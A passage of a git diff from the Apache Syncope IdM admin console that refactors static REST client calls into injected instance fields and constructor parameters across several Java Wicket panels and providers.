connectorRestClient.getAllConnectors().stream().filter(conn -> conn.getDisplayName().toLowerCase().contains(keyword)).count(); } } catch (Exception e) { diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMAnyDirectoryPanelAdditionalActionLinksProvider.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMAnyDirectoryPanelAdditionalActionLinksProvider.java index 6a17806fe35..8de14437590 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMAnyDirectoryPanelAdditionalActionLinksProvider.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMAnyDirectoryPanelAdditionalActionLinksProvider.java @@ -24,14 +24,18 @@ import org.apache.syncope.client.console.panels.GroupDirectoryPanel; import org.apache.syncope.client.console.panels.LinkedAccountModalPanel; import org.apache.syncope.client.console.panels.UserDirectoryPanel; +import org.apache.syncope.client.console.rest.ResourceRestClient; import org.apache.syncope.client.console.rest.UserRestClient; import org.apache.syncope.client.console.status.AnyStatusModal; import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; import org.apache.syncope.client.console.wicket.markup.html.form.Action; import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; +import org.apache.syncope.client.console.wizards.any.AnyObjectWrapper; +import org.apache.syncope.client.console.wizards.any.GroupWrapper; import org.apache.syncope.client.console.wizards.any.MergeLinkedAccountsWizardBuilder; import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; import org.apache.syncope.client.ui.commons.wizards.any.AnyWrapper; +import org.apache.syncope.client.ui.commons.wizards.any.UserWrapper; import org.apache.syncope.common.lib.to.AnyObjectTO; import org.apache.syncope.common.lib.to.GroupTO; import org.apache.syncope.common.lib.to.UserTO; @@ -50,6 +54,18 @@ public class IdMAnyDirectoryPanelAdditionalActionLinksProvider private static final long serialVersionUID = -1698293704237878993L; + protected final ResourceRestClient resourceRestClient; + + protected final UserRestClient userRestClient; + + public IdMAnyDirectoryPanelAdditionalActionLinksProvider( + final ResourceRestClient resourceRestClient, + final UserRestClient userRestClient) { + + this.resourceRestClient = resourceRestClient; + this.userRestClient = userRestClient; + } + @Override public List> get( final IModel model, @@ -68,7 +84,7 @@ public List> get( @Override public void onClick(final AjaxRequestTarget target, final UserTO ignore) { IModel> formModel = new CompoundPropertyModel<>( - new AnyWrapper<>(model.getObject())); + new UserWrapper(model.getObject())); modal.setFormModel(formModel); target.add(modal.setContent(new AnyStatusModal<>( @@ -93,9 +109,9 @@ public void onClick(final AjaxRequestTarget target, final UserTO ignore) { @Override public void onClick(final AjaxRequestTarget target, final UserTO ignore) { - model.setObject(new UserRestClient().read(model.getObject().getKey())); + model.setObject(userRestClient.read(model.getObject().getKey())); IModel> formModel = new CompoundPropertyModel<>( - new AnyWrapper<>(model.getObject())); + new UserWrapper(model.getObject())); modal.setFormModel(formModel); target.add(modal.setContent(new AnyStatusModal<>( @@ -121,7 +137,7 @@ public void onClick(final AjaxRequestTarget target, final UserTO ignore) { @Override public void onClick(final AjaxRequestTarget target, final UserTO ignore) { - model.setObject(new UserRestClient().read(model.getObject().getKey())); + model.setObject(userRestClient.read(model.getObject().getKey())); modal.setFooterVisible(false); target.add(modal.setContent(new LinkedAccountModalPanel(model, pageRef, false))); @@ -142,9 +158,9 @@ public void onClick(final AjaxRequestTarget target, final UserTO ignore) { @Override public void onClick(final AjaxRequestTarget target, final UserTO ignore) { - model.setObject(new UserRestClient().read(model.getObject().getKey())); - MergeLinkedAccountsWizardBuilder builder = - new MergeLinkedAccountsWizardBuilder(model, pageRef, parentPanel, modal); + model.setObject(userRestClient.read(model.getObject().getKey())); + MergeLinkedAccountsWizardBuilder builder = new MergeLinkedAccountsWizardBuilder( + model, parentPanel, modal, resourceRestClient, userRestClient, pageRef); builder.setEventSink(builder); target.add(modal.setContent(builder.build(BaseModal.CONTENT_ID, AjaxWizard.Mode.CREATE))); modal.header(new StringResourceModel("mergeLinkedAccounts.title", model)); @@ -177,7 +193,7 @@ public List> get( @Override public void onClick(final AjaxRequestTarget target, final GroupTO ignore) { IModel> formModel = new CompoundPropertyModel<>( - new AnyWrapper<>(modelObject)); + new GroupWrapper(modelObject)); modal.setFormModel(formModel); target.add(modal.setContent(new AnyStatusModal<>( @@ -218,8 +234,8 @@ public List> get( @Override public void onClick(final AjaxRequestTarget target, final AnyObjectTO ignore) { - final IModel> formModel = new CompoundPropertyModel<>( - new AnyWrapper<>(modelObject)); + IModel> formModel = new CompoundPropertyModel<>( + new AnyObjectWrapper(modelObject)); modal.setFormModel(formModel); target.add(modal.setContent(new AnyStatusModal<>( diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMAnyDirectoryPanelAdditionalActionsProvider.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMAnyDirectoryPanelAdditionalActionsProvider.java index 02f6c48cf76..d62865addc2 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMAnyDirectoryPanelAdditionalActionsProvider.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMAnyDirectoryPanelAdditionalActionsProvider.java @@ -29,6 +29,8 @@ import org.apache.syncope.client.console.panels.AnyDirectoryPanel; import org.apache.syncope.client.console.panels.DisplayAttributesModalPanel; import org.apache.syncope.client.console.rest.BaseRestClient; +import org.apache.syncope.client.console.rest.ImplementationRestClient; +import org.apache.syncope.client.console.rest.ReconciliationRestClient; import org.apache.syncope.client.console.wicket.ajax.form.AjaxDownloadBehavior; import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; import org.apache.syncope.client.console.wizards.CSVPullWizardBuilder; @@ -61,6 +63,18 @@ public class IdMAnyDirectoryPanelAdditionalActionsProvider implements AnyDirecto protected AjaxLink csvPullLink; + protected final ReconciliationRestClient reconciliationRestClient; + + protected final ImplementationRestClient implementationRestClient; + + public IdMAnyDirectoryPanelAdditionalActionsProvider( + final ReconciliationRestClient reconciliationRestClient, + final ImplementationRestClient implementationRestClient) { + + this.reconciliationRestClient = reconciliationRestClient; + this.implementationRestClient = implementationRestClient; + } + @Override public void add( final AnyDirectoryPanel panel, @@ -69,7 +83,7 @@ public void add( final WebMarkupContainer container, final String type, final String realm, - final String fiql, + final Model fiql, final int rows, final List pSchemaNames, final List dSchemaNames, @@ -91,8 +105,8 @@ public void onEvent(final IEvent event) { if (payload.getResult() instanceof ArrayList) { modal.setContent(new ResultPanel<>( - null, - payload.getResult()) { + null, + payload.getResult()) { private static final long serialVersionUID = -2630573849050255233L; @@ -103,7 +117,7 @@ protected void closeAction(final AjaxRequestTarget target) { @Override protected Panel customResultBody( - final String panelId, final Serializable item, final Serializable result) { + final String panelId, final Serializable item, final Serializable result) { @SuppressWarnings("unchecked") ArrayList reports = (ArrayList) result; @@ -122,10 +136,10 @@ protected Panel customResultBody( SyncopeConsoleSession.get().error(payload.getResult()); } - if (target.isPresent()) { - ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(target.get()); - target.get().add(container); - } + target.ifPresent(t -> { + ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(t); + t.add(container); + }); } } }; @@ -138,11 +152,12 @@ protected Panel customResultBody( @Override public void onClick(final AjaxRequestTarget target) { CSVPushSpec spec = csvPushSpec(type, pSchemaNames, dSchemaNames); - AnyQuery query = csvAnyQuery(realm, fiql, rows, panel.getDataProvider()); + AnyQuery query = csvAnyQuery(realm, fiql.getObject(), rows, panel.getDataProvider()); - target.add(modal.setContent(new CSVPushWizardBuilder(spec, query, csvDownloadBehavior, pageRef). - setEventSink(csvEventSink). - build(BaseModal.CONTENT_ID, AjaxWizard.Mode.EDIT))); + target.add(modal.setContent(new CSVPushWizardBuilder( + spec, query, csvDownloadBehavior, reconciliationRestClient, implementationRestClient, pageRef). + setEventSink(csvEventSink). + build(BaseModal.CONTENT_ID, AjaxWizard.Mode.EDIT))); modal.header(new StringResourceModel("csvPush", panel, Model.of(spec))); modal.show(true); @@ -160,9 +175,10 @@ public void onClick(final AjaxRequestTarget target) { public void onClick(final AjaxRequestTarget target) { CSVPullSpec spec = csvPullSpec(type, realm); - target.add(modal.setContent(new CSVPullWizardBuilder(spec, pageRef). - setEventSink(csvEventSink). - build(BaseModal.CONTENT_ID, AjaxWizard.Mode.EDIT))); + target.add(modal.setContent( + new CSVPullWizardBuilder(spec, reconciliationRestClient, implementationRestClient, pageRef). + setEventSink(csvEventSink). + build(BaseModal.CONTENT_ID, AjaxWizard.Mode.EDIT))); modal.header(new StringResourceModel("csvPull", panel, Model.of(spec))); modal.show(true); @@ -179,25 +195,21 @@ protected CSVPushSpec csvPushSpec( final List pSchemaNames, final List dSchemaNames) { - CSVPushSpec spec = new CSVPushSpec.Builder(type).build(); - spec.setFields(PreferenceManager.getList( - DisplayAttributesModalPanel.getPrefDetailView(type)). - stream().filter(name -> !Constants.KEY_FIELD_NAME.equalsIgnoreCase(name)). - collect(Collectors.toList())); - spec.setPlainAttrs(PreferenceManager.getList( - DisplayAttributesModalPanel.getPrefPlainAttributeView(type)). - stream().filter(pSchemaNames::contains).collect(Collectors.toList())); - spec.setDerAttrs(PreferenceManager.getList( - DisplayAttributesModalPanel.getPrefPlainAttributeView(type)). - stream().filter(dSchemaNames::contains).collect(Collectors.toList())); - return spec; + return new CSVPushSpec.Builder(type). + fields(PreferenceManager.getList(DisplayAttributesModalPanel.getPrefDetailView(type)). + stream().filter(name -> !Constants.KEY_FIELD_NAME.equalsIgnoreCase(name)). + collect(Collectors.toList())). + plainAttrs(PreferenceManager.getList(DisplayAttributesModalPanel.getPrefPlainAttributeView(type)). + stream().filter(pSchemaNames::contains). + collect(Collectors.toList())). + derAttrs(PreferenceManager.getList(DisplayAttributesModalPanel.getPrefPlainAttributeView(type)). + stream().filter(dSchemaNames::contains). + collect(Collectors.toList())). + build(); } protected CSVPullSpec csvPullSpec(final String type, final String realm) { - CSVPullSpec spec = new CSVPullSpec(); - spec.setAnyTypeKey(type); - spec.setDestinationRealm(realm); - return spec; + return new CSVPullSpec.Builder(type, realm).build(); } protected AnyQuery csvAnyQuery( diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMExternalResourceProvider.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMExternalResourceProvider.java index d466abe3e07..236dbeee1f6 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMExternalResourceProvider.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMExternalResourceProvider.java @@ -22,13 +22,33 @@ import java.util.stream.Collectors; import org.apache.syncope.client.console.rest.ResourceRestClient; import org.apache.syncope.common.lib.to.ResourceTO; +import org.apache.syncope.common.lib.types.AnyTypeKind; public class IdMExternalResourceProvider implements ExternalResourceProvider { private static final long serialVersionUID = 6335503820405008093L; + private final ResourceRestClient resourceRestClient; + + public IdMExternalResourceProvider(final ResourceRestClient resourceRestClient) { + this.resourceRestClient = resourceRestClient; + } + + @Override + public List get(final String anyType) { + return resourceRestClient.list().stream(). + filter(r -> anyType == null + || AnyTypeKind.GROUP.name().equals(anyType) + || r.getProvision(anyType).isPresent()). + map(ResourceTO::getKey). + collect(Collectors.toList()); + } + @Override - public List get() { - return ResourceRestClient.list().stream().map(ResourceTO::getKey).collect(Collectors.toList()); + public List getForRealms() { + return resourceRestClient.list().stream(). + filter(r -> r.getOrgUnit() != null). + map(ResourceTO::getKey). + collect(Collectors.toList()); } } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMImplementationInfoProvider.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMImplementationInfoProvider.java index bb77291f98d..e4949f000ec 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMImplementationInfoProvider.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMImplementationInfoProvider.java @@ -22,6 +22,7 @@ import java.util.Collections; import java.util.List; import java.util.stream.Collectors; +import org.apache.syncope.client.console.init.ClassPathScanImplementationLookup; import org.apache.syncope.client.console.rest.ImplementationRestClient; import org.apache.syncope.common.lib.policy.PullCorrelationRuleConf; import org.apache.syncope.common.lib.policy.PushCorrelationRuleConf; @@ -34,6 +35,13 @@ public class IdMImplementationInfoProvider extends IdRepoImplementationInfoProvi private static final long serialVersionUID = -5385695412826366167L; + public IdMImplementationInfoProvider( + final ClassPathScanImplementationLookup lookup, + final ImplementationRestClient implementationRestClient) { + + super(lookup, implementationRestClient); + } + @Override public ViewMode getViewMode(final ImplementationTO implementation) { return IdMImplementationType.PULL_CORRELATION_RULE.equals(implementation.getType()) @@ -136,8 +144,8 @@ public IModel> getReconFilterBuilders() { @Override protected List load() { - return ImplementationRestClient.list(IdMImplementationType.RECON_FILTER_BUILDER).stream(). - map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); + return implementationRestClient.list(IdMImplementationType.RECON_FILTER_BUILDER).stream(). + map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); } }; } @@ -150,8 +158,8 @@ public IModel> getPullActions() { @Override protected List load() { - return ImplementationRestClient.list(IdMImplementationType.PULL_ACTIONS).stream(). - map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); + return implementationRestClient.list(IdMImplementationType.PULL_ACTIONS).stream(). + map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); } }; } @@ -164,8 +172,8 @@ public IModel> getPushActions() { @Override protected List load() { - return ImplementationRestClient.list(IdMImplementationType.PUSH_ACTIONS).stream(). - map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); + return implementationRestClient.list(IdMImplementationType.PUSH_ACTIONS).stream(). + map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); } }; } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMPolicyTabProvider.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMPolicyTabProvider.java index 0f2b92065f2..4a38f37ec0e 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMPolicyTabProvider.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMPolicyTabProvider.java @@ -23,6 +23,7 @@ import org.apache.syncope.client.console.policies.PropagationPolicyDirectoryPanel; import org.apache.syncope.client.console.policies.PullPolicyDirectoryPanel; import org.apache.syncope.client.console.policies.PushPolicyDirectoryPanel; +import org.apache.syncope.client.console.rest.PolicyRestClient; import org.apache.wicket.PageReference; import org.apache.wicket.extensions.markup.html.tabs.AbstractTab; import org.apache.wicket.extensions.markup.html.tabs.ITab; @@ -33,9 +34,10 @@ public class IdMPolicyTabProvider implements PolicyTabProvider { private static final long serialVersionUID = 2822554006571803418L; - @Override - public int getOrder() { - return 300; + protected final PolicyRestClient policyRestClient; + + public IdMPolicyTabProvider(final PolicyRestClient policyRestClient) { + this.policyRestClient = policyRestClient; } @Override @@ -48,7 +50,7 @@ public List buildTabList(final PageReference pageRef) { @Override public Panel getPanel(final String panelId) { - return new PropagationPolicyDirectoryPanel(panelId, pageRef); + return new PropagationPolicyDirectoryPanel(panelId, policyRestClient, pageRef); } }); @@ -58,7 +60,7 @@ public Panel getPanel(final String panelId) { @Override public Panel getPanel(final String panelId) { - return new PullPolicyDirectoryPanel(panelId, pageRef); + return new PullPolicyDirectoryPanel(panelId, policyRestClient, pageRef); } }); @@ -68,7 +70,7 @@ public Panel getPanel(final String panelId) { @Override public Panel getPanel(final String panelId) { - return new PushPolicyDirectoryPanel(panelId, pageRef); + return new PushPolicyDirectoryPanel(panelId, policyRestClient, pageRef); } }); diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMStatusProvider.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMStatusProvider.java index 88384af7586..05725f7b644 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMStatusProvider.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/IdMStatusProvider.java @@ -37,11 +37,17 @@ public class IdMStatusProvider implements StatusProvider { private static final long serialVersionUID = 1875374599950896631L; + protected final ReconStatusUtils reconStatusUtils; + + public IdMStatusProvider(final ReconStatusUtils reconStatusUtils) { + this.reconStatusUtils = reconStatusUtils; + } + @Override public Optional> get( final String anyTypeKey, final String connObjectKeyValue, final String resource) { - return ReconStatusUtils.getReconStatus(anyTypeKey, connObjectKeyValue, resource). + return reconStatusUtils.getReconStatus(anyTypeKey, connObjectKeyValue, resource). map(status -> Pair.of(status.getOnSyncope(), status.getOnResource())); } @@ -49,7 +55,7 @@ public Optional> get( public List> get( final AnyTO any, final Collection resources) { - return ReconStatusUtils.getReconStatuses( + return reconStatusUtils.getReconStatuses( any.getType(), any.getKey(), any.getResources()).stream(). map(status -> Triple.of( status.getRight().getOnSyncope(), diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/ResourceDataProvider.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/ResourceDataProvider.java index b19c8c11731..8a830c5ac30 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/ResourceDataProvider.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/ResourceDataProvider.java @@ -19,17 +19,14 @@ package org.apache.syncope.client.console.commons; import java.io.Serializable; -import java.util.Collections; import java.util.Comparator; import java.util.Iterator; import java.util.List; -import java.util.Optional; import java.util.stream.Collectors; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.client.console.SyncopeConsoleSession; import org.apache.syncope.client.console.pages.BasePage; import org.apache.syncope.client.console.rest.ResourceRestClient; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.common.lib.to.ResourceTO; import org.apache.wicket.PageReference; import org.apache.wicket.ajax.AjaxRequestTarget; @@ -47,13 +44,16 @@ public class ResourceDataProvider extends DirectoryDataProvider { protected static final Logger LOG = LoggerFactory.getLogger(ResourceDataProvider.class); - private final PageReference pageRef; + protected final ResourceRestClient resourceRestClient; + + protected final PageReference pageRef; protected int currentPage; - private final String keyword; + protected final String keyword; public ResourceDataProvider( + final ResourceRestClient resourceRestClient, final int paginatorRows, final PageReference pageRef, final String keyword) { @@ -61,13 +61,14 @@ public ResourceDataProvider( super(paginatorRows); setSort("keySortParam", SortOrder.ASCENDING); + this.resourceRestClient = resourceRestClient; this.pageRef = pageRef; this.keyword = keyword; } @Override public Iterator iterator(final long first, final long count) { - List result = Collections.emptyList(); + List result = List.of(); try { currentPage = ((int) first / paginatorRows); @@ -75,9 +76,9 @@ public Iterator iterator(final long first, final long count) { currentPage = 0; } if (StringUtils.isBlank(keyword)) { - result = ResourceRestClient.list(); + result = resourceRestClient.list(); } else { - result = ResourceRestClient.list().stream(). + result = resourceRestClient.list().stream(). filter(resource -> resource.getKey().toLowerCase().contains(keyword)). collect(Collectors.toList()); } @@ -85,9 +86,8 @@ public Iterator iterator(final long first, final long count) { LOG.error("While searching", e); SyncopeConsoleSession.get().onException(e); - Optional target = RequestCycle.get().find(AjaxRequestTarget.class); - target.ifPresent(ajaxRequestTarget - -> ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(ajaxRequestTarget)); + RequestCycle.get().find(AjaxRequestTarget.class). + ifPresent(t -> ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(t)); } SortParam sortParam = getSort(); @@ -127,9 +127,9 @@ public long size() { try { if (StringUtils.isBlank(keyword)) { - result = ResourceRestClient.list().size(); + result = resourceRestClient.list().size(); } else { - result = ResourceRestClient.list().stream().filter(resource + result = resourceRestClient.list().stream().filter(resource -> resource.getKey().toLowerCase().contains(keyword)).count(); } } catch (Exception e) { @@ -137,7 +137,7 @@ public long size() { SyncopeConsoleSession.get().onException(e); RequestCycle.get().find(AjaxRequestTarget.class). - ifPresent(target -> ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(target)); + ifPresent(t -> ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(t)); } return result; diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/status/AbstractStatusBeanProvider.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/status/AbstractStatusBeanProvider.java index 53b9f1dc46e..afa78d589a7 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/status/AbstractStatusBeanProvider.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/commons/status/AbstractStatusBeanProvider.java @@ -20,8 +20,8 @@ import java.util.Iterator; import java.util.List; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.commons.SortableDataProviderComparator; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.status.StatusBean; import org.apache.wicket.extensions.markup.html.repeater.data.sort.SortOrder; import org.apache.wicket.model.IModel; diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/init/IdMClassPathScanImplementationContributor.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/init/IdMClassPathScanImplementationContributor.java index 45c9209f26b..28188f97562 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/init/IdMClassPathScanImplementationContributor.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/init/IdMClassPathScanImplementationContributor.java @@ -26,6 +26,8 @@ public class IdMClassPathScanImplementationContributor implements ClassPathScanImplementationContributor { + private static final long serialVersionUID = 4797723744170531042L; + @Override public void extend(final ClassPathScanningCandidateComponentProvider scanner) { scanner.addIncludeFilter(new AssignableTypeFilter(PullCorrelationRuleConf.class)); diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/pages/Connectors.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/pages/Connectors.java index 57cb4a3f770..eb54be299c5 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/pages/Connectors.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/pages/Connectors.java @@ -21,6 +21,7 @@ import java.io.Serializable; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.client.console.panels.ConnectorDirectoryPanel; +import org.apache.syncope.client.console.rest.ConnectorRestClient; import org.apache.syncope.client.console.wizards.WizardMgtPanel; import org.apache.syncope.client.console.wizards.resources.ConnectorWizardBuilder; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; @@ -33,11 +34,15 @@ import org.apache.wicket.markup.html.form.Form; import org.apache.wicket.markup.html.panel.Panel; import org.apache.wicket.model.Model; +import org.apache.wicket.spring.injection.annot.SpringBean; public class Connectors extends Panel { private static final long serialVersionUID = 305521359617401936L; + @SpringBean + protected ConnectorRestClient connectorRestClient; + public Connectors(final String id, final PageReference pageRef) { super(id); @@ -66,9 +71,11 @@ protected void onSubmit(final AjaxRequestTarget target) { form.add(search); form.setDefaultButton(search); - WizardMgtPanel connectorDirectoryPanel = new ConnectorDirectoryPanel.Builder(pageRef). - addNewItemPanelBuilder(new ConnectorWizardBuilder(new ConnInstanceTO(), pageRef), true). - build("connectorDirectoryPanel"); + WizardMgtPanel connectorDirectoryPanel = + new ConnectorDirectoryPanel.Builder(connectorRestClient, pageRef). + addNewItemPanelBuilder(new ConnectorWizardBuilder( + new ConnInstanceTO(), connectorRestClient, pageRef), true). + build("connectorDirectoryPanel"); add(connectorDirectoryPanel.setOutputMarkupId(true)); } } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/pages/Remediations.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/pages/Remediations.java index d5c20d3b2b8..c3089acba56 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/pages/Remediations.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/pages/Remediations.java @@ -20,13 +20,18 @@ import org.apache.syncope.client.console.BookmarkablePageLinkBuilder; import org.apache.syncope.client.console.panels.RemediationDirectoryPanel; +import org.apache.syncope.client.console.rest.RemediationRestClient; import org.apache.wicket.markup.html.WebMarkupContainer; import org.apache.wicket.request.mapper.parameter.PageParameters; +import org.apache.wicket.spring.injection.annot.SpringBean; public class Remediations extends BasePage { private static final long serialVersionUID = -7940154016753661388L; + @SpringBean + protected RemediationRestClient remediationRestClient; + public Remediations(final PageParameters parameters) { super(parameters); @@ -36,6 +41,6 @@ public Remediations(final PageParameters parameters) { content.setOutputMarkupId(true); body.add(content); - content.add(new RemediationDirectoryPanel("remediations", getPageReference())); + content.add(new RemediationDirectoryPanel("remediations", remediationRestClient, getPageReference())); } } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/pages/Resources.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/pages/Resources.java index a51441baa8b..0cf60a281be 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/pages/Resources.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/pages/Resources.java @@ -21,6 +21,8 @@ import java.io.Serializable; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.client.console.panels.ResourceDirectoryPanel; +import org.apache.syncope.client.console.rest.ConnectorRestClient; +import org.apache.syncope.client.console.rest.ResourceRestClient; import org.apache.syncope.client.console.wizards.WizardMgtPanel; import org.apache.syncope.client.console.wizards.resources.ResourceWizardBuilder; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; @@ -33,11 +35,18 @@ import org.apache.wicket.markup.html.form.Form; import org.apache.wicket.markup.html.panel.Panel; import org.apache.wicket.model.Model; +import org.apache.wicket.spring.injection.annot.SpringBean; public class Resources extends Panel { private static final long serialVersionUID = 7240865652350993779L; + @SpringBean + protected ResourceRestClient resourceRestClient; + + @SpringBean + protected ConnectorRestClient connectorRestClient; + public Resources(final String id, final PageReference pageRef) { super(id); @@ -66,8 +75,9 @@ protected void onSubmit(final AjaxRequestTarget target) { form.add(search); form.setDefaultButton(search); - WizardMgtPanel resourceDirectoryPanel = new ResourceDirectoryPanel.Builder(pageRef). - addNewItemPanelBuilder(new ResourceWizardBuilder(new ResourceTO(), pageRef), true). + WizardMgtPanel resourceDirectoryPanel = new ResourceDirectoryPanel.Builder( + resourceRestClient, pageRef).addNewItemPanelBuilder(new ResourceWizardBuilder( + new ResourceTO(), resourceRestClient, connectorRestClient, pageRef), true). build("resourceDirectoryPanel"); add(resourceDirectoryPanel.setOutputMarkupId(true)); } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/ConnObjectListViewPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/ConnObjectListViewPanel.java index 529dd8037f2..5b552797d65 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/ConnObjectListViewPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/ConnObjectListViewPanel.java @@ -72,6 +72,7 @@ import org.apache.wicket.model.Model; import org.apache.wicket.model.StringResourceModel; import org.apache.wicket.model.util.ListModel; +import org.apache.wicket.spring.injection.annot.SpringBean; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -85,6 +86,15 @@ public abstract class ConnObjectListViewPanel extends Panel { protected static final String STATUS = "Status"; + @SpringBean + protected ReconciliationRestClient reconciliationRestClient; + + @SpringBean + protected ResourceRestClient resourceRestClient; + + @SpringBean + protected AnyTypeRestClient anyTypeRestClient; + protected String nextPageCookie; protected AbstractSearchPanel searchPanel; @@ -160,7 +170,7 @@ protected Component getValueComponent(final String key, final ConnObject bean) { if (StringUtils.equals(key, STATUS)) { ReconStatus status; try { - status = ReconciliationRestClient.status( + status = reconciliationRestClient.status( new ReconQuery.Builder(anyType, resource.getKey()).fiql(bean.getFiql()).build()); } catch (Exception e) { LOG.error("While requesting for reconciliation status of {} {} with FIQL '{}'", @@ -194,12 +204,11 @@ public void onComponentTag(final Component component, final ComponentTag tag) { } }); } else { - Optional attr = - bean.getAttrs().stream().filter(object -> object.getSchema().equals(key)).findAny(); - - return attr.isEmpty() || attr.get().getValues().isEmpty() - ? new Label("field", StringUtils.EMPTY) - : new CollectionPanel("field", attr.get().getValues()); + Optional attr = bean.getAttrs().stream(). + filter(object -> object.getSchema().equals(key)).findAny(); + return attr.filter(a -> !a.getValues().isEmpty()). + map(a -> (Component) new CollectionPanel("field", a.getValues())). + orElseGet(() -> new Label("field", StringUtils.EMPTY)); } } @@ -230,7 +239,7 @@ public void onClick(final AjaxRequestTarget target, final ConnObject modelObject @Override public void onClick(final AjaxRequestTarget target, final ConnObject modelObject) { try { - ReconStatus status = ReconciliationRestClient.status( + ReconStatus status = reconciliationRestClient.status( new ReconQuery.Builder(anyType, resource.getKey()).fiql(modelObject.getFiql()).build()); pullConnObject( @@ -307,7 +316,7 @@ protected List reloadItems( final String cookie, final String fiql) { - Pair> items = ResourceRestClient.searchConnObjects( + Pair> items = resourceRestClient.searchConnObjects( resource, anyType, new ConnObjectTOQuery.Builder(). @@ -332,7 +341,7 @@ protected AbstractSearchPanel getSearchPanel(final String id, final String anyTy AnyTypeKind anyTypeKind = StringUtils.equals(anyType, SyncopeConstants.REALM_ANYTYPE) || StringUtils.isEmpty(anyType) ? AnyTypeKind.ANY_OBJECT - : AnyTypeRestClient.read(anyType).getKind(); + : anyTypeRestClient.read(anyType).getKind(); return new ConnObjectSearchPanel.Builder(resource, anyTypeKind, anyType, new ListModel<>(clauses), pageRef).required(true).enableSearch().build(id); diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/ConnectorDirectoryPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/ConnectorDirectoryPanel.java index 915995d2b2d..9af5331b747 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/ConnectorDirectoryPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/ConnectorDirectoryPanel.java @@ -31,7 +31,9 @@ import org.apache.syncope.client.console.commons.ConnectorDataProvider; import org.apache.syncope.client.console.commons.IdRepoConstants; import 